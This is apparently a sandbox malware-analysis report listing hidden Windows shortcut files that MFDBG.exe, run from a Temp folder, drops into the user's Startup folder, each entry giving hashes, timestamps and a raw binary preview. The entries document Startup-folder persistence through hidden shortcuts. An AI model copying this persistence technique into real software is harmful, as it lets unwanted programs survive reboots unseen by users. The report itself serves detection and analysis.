File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923472329311109
Encrypted:	false
SSDEEP:	24:83BfDf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RbEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3E93B4B89CE43BAD584038E9687CDEB3
SHA1:	2130EE74C5F41FBCAEAA090E89EA34E39F01711F
SHA-256:	176E1018CA77258006CBC0979BE6ADC24CDD94449186930B69AE4E4FF27915BC
SHA-512:	7F2D90078EA30F9EFD612EFD663322C7ABBDEBD38C1692C97B66121FD84E724A69E0EF1156C2D0B21ACD56FBAF789B1AFB488E03EFE353646EBD77854AB8588B
Malicious:	false
Preview:	L..................F....".......d....S..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c85666bd69894731ab36d103658446b2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937662
Encrypted:	false
SSDEEP:	24:8FPBfDf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fbEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D5B43B267B68F3441A85B234BF89EC6F
SHA1:	FBBE83E356F3301CE0959EECCEB9650F2D2023A6
SHA-256:	2166DB834D19C3FC4FC8F7C4A912386C833D4210DD7A4F899B6BEA8B9ADEAD60
SHA-512:	CA457EDB4C1792FA33C4EDB18499F17C4DC8A10EB821484A62E2F667031C3ED3230E5C29002A24422B05E87DC303ECB3D6F096D31BEC3739553B4B3308AB1733
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c85a93c519c1402fb19602fa26d1bb30.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920274156103555
Encrypted:	false
SSDEEP:	24:8FBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HVEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FE804259A7EB1FC9AE3E809B735497F7
SHA1:	AE967AF3E4EC8608D603BCAEFFC1DC0AD69769A0
SHA-256:	1DB28D149775A717D3EEB3F54C262ABE92CC99DF0015451D32A26A289C1CCAB5
SHA-512:	642125148299FC315EBDF9CE13304A9C6E4C1F327104C0CC2EBAEEE8EA6452FFEE1ADF37055511A83DAB24967F5356E2D296DCB47D8105E3F3CBC04EE9AFF9CB
Malicious:	false
Preview:	L..................F....".......d....w.^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...K.n^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c889471adc3044cba2771738dc11bd54.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932586198791694
Encrypted:	false
SSDEEP:	24:8aBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Y4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B0413AE1510E65FD5365940D87199161
SHA1:	EBDDA99F56FBF15D6537919B47827E638C064F71
SHA-256:	D5A0C470498C2BB1FCC936F76052B4CC72EABB14B8FB2EF3D6BC0FED121A8FF5
SHA-512:	936ED0F02EECDE609CBFA5BE90EFCC12977B8DFF8852D21211484E2E308579681114ACDA8607922C96227E884CED03088A97656EC38BEA5D4FAF7E68B4C00705
Malicious:	false
Preview:	L..................F....".......d.....{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....n.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8a5a589279f40a3875168e1117663b6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919178977433289
Encrypted:	false
SSDEEP:	24:8FBfO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HrEvZ0yRO7DLO2zdxdRd1kyg
MD5:	594155D1C1591C1625FC3625AF87C4FE
SHA1:	129B258CFA8225313DF7E634DDAC89D7C052CAE7
SHA-256:	53228952CC54032418E59D07EC5220FA6071624C35CF152A4523843CCB7BD862
SHA-512:	FAFE64B07341CA9B9EE082ABE6FD5D4109CFFBD7144874EE246E80F84C47C9E5448B33A870F74DA62BA49188ED3F2D6F47FF6FF07B37287EAAC5D0F8F21445E6
Malicious:	false
Preview:	L..................F....".......d....M.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....a.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8b1b7822b824dd2bbc40d929ae773ca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923826746360102
Encrypted:	false
SSDEEP:	24:88BfEO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yuEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6D85784E624FE589CB26C49A5D75C2BA
SHA1:	C0E42774611D8AFA0672BCB5D70C5457C5BE654E
SHA-256:	6393A6350B32EF5EAE380EEB39E5A3B2E854D9B49F2D085373AE079A233365B4
SHA-512:	C5C3A27459089E7521F3AD4D7AEC485BDB3D19028F5D8EA1B06E265CC37C4585E806D72DCE21D283C26F758353CCAE8184D6D51EB649B8823748B0956A32BC6F
Malicious:	false
Preview:	L..................F....".......d......~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8b354c7be1c4f4babe8e2983f0f0edd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930070997935065
Encrypted:	false
SSDEEP:	24:8iBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8FC825A10F80BC1F4B267827F3312CFB
SHA1:	E41A4781B75B42907815FD6F2C9BB50822F6740B
SHA-256:	88FA00FF941B0274AF81D6BA4A26C276AB744744030B1A96CCF2D31734871033
SHA-512:	70CE3EF2701F30A5D5341075357735BD52A46609DC6C9A17DC5C238D314B17F1FCC946265485348F6209D605B34A764EED9A12EDE80B9093A341C073EBA34520
Malicious:	false
Preview:	L..................F....".......d...P.~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...O..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9d0cd915b1c48ed9caf11b313d6eee3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913320247321065
Encrypted:	false
SSDEEP:	24:8QBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D33E14856C5CF81A427BF44E5AB5466A
SHA1:	23B7D9EC91DF5FB68FAEF84928CC0CCFD67A2E90
SHA-256:	EB0F80F161A753C2B171957E6EDDD634B64F96AD07DD25E7A424B01AF5AF9DB5
SHA-512:	B465D0B8B740BE4C3AF0E2E66346C8A86BFECAE75E6DFDCC8DAA74E2E450F64DDF2E6C4002E640C17CC7423374A45EF943B9E1610C31F51222A63D804A992FD9
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9dcfb2f36d14592a2f0aac782316c9d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918489282492135
Encrypted:	false
SSDEEP:	24:83BfI48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Rg9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	E8A853E174FEF1367FD7AE91262E9854
SHA1:	E0664EE34A2AD9DBF0CD310A955D67631AB09042
SHA-256:	D097FAD55BEB96EEE3EDBDC7374A5AB57A93EFE3B09BF3A31D5645977349CA2E
SHA-512:	00BF55ADA568A13AFF3B04725FFC769179A7669983EDC3F9B07A7639CC98B930A1FC1C0EC429D1F00C48BB5BC70CEAACFA73DCAC72AA9264710ABA420259A44E
Malicious:	false
Preview:	L..................F....".......d....&..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Eb..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9ea8d257d884379b631f2f19fd6cc78.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922789356960184
Encrypted:	false
SSDEEP:	24:83Bfu8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8R7EvZ0yRO7DLO2zdxdRd1kyg
MD5:	828A3CD4B4C8A10EFB1E72DD16B3CE68
SHA1:	605670808254F0FDE223545D27158DE71BA85863
SHA-256:	8F79CE63627A44D1A710EB8A160ACD8AE251BFE7DAE501CC8164C823F75EEB76
SHA-512:	BDA1BC4509BCB34B0C5B17C5F1F6AF80FC80C8929DD62818F9C0F7A9B0133C77BFD7A1FABFDF8B654F41C571335A542D1D5030193FED1DA4AAA11C8A3974B6F3
Malicious:	false
Preview:	L..................F....".......d....V.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9f16771133b481da790524d5b6a796c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918614136633172
Encrypted:	false
SSDEEP:	24:82Bfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88REvZ0yRO7DLO2zdxdRd1kyg
MD5:	685E9B237D0819842EF31DFEC782D82F
SHA1:	BC667D6A6D2DCEA764067F3E67C78B4BCE037988
SHA-256:	FC7A64185EC2C5DD7B6742078D238F3DDF4D2D8AAC68C2F499E7919931A726AF
SHA-512:	358C067A5DD0DD3962D03815ECD24137DFC57887868FE7FB0AA395CCBDDAD1378C79A9C869FC898C4B43D43ACE9062028BE6C70FD4CF3265A2CA9C531CC90771
Malicious:	false
Preview:	L..................F....".......d......?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ca2a9f24088a492ba1ac9efd6006908f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254248
Encrypted:	false
SSDEEP:	24:8YBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8W1EvZ0yRO7DLO2zdxdRd1kyg
MD5:	2C42DADCAACCC2FAFB3F875B7851C82D
SHA1:	7DDC0EE743D99AF8C41DFF94C60FE95A2E417826
SHA-256:	07FCC4242F0A7679FAFECFD579CA7EFBEC432275D955ED545AE4AB70DE6BF1D9
SHA-512:	299FA12A051D49FB02BB820F0F30F4239FC2F539053D2036B7F301E6BDFD9EBBB534F4CF226139DA369A8BD31CA672FB7030DED30ED44CEA9C3ECE0744F5E3A4
Malicious:	false
Preview:	L..................F....".......d......~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ca5c496c519d470983557f85790a9a98.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924784654322731
Encrypted:	false
SSDEEP:	24:8YYrBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NdBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	67B63C0DCE0177DBD600CA003F4084D5
SHA1:	583F4EF666F2C9E81C6144D361BA031DCBC6BC84
SHA-256:	1ED21CB3CCB127EAD6DAE2CB83A935887E79C6414FCB657F1CA9994D37E94CEC
SHA-512:	D927ECF6A0814526087AF8313AAF1D1F19228D1EEE3066C0CEB09EFA8D8A5D4E6F17690EDB4B705820142FC39C4969DFB5BEF3D43DE70B6FE27B6EB91BE7F947
Malicious:	false
Preview:	L..................F....".......d...,..&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cab1c5f535b14b819ae0b5bf302f72a2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
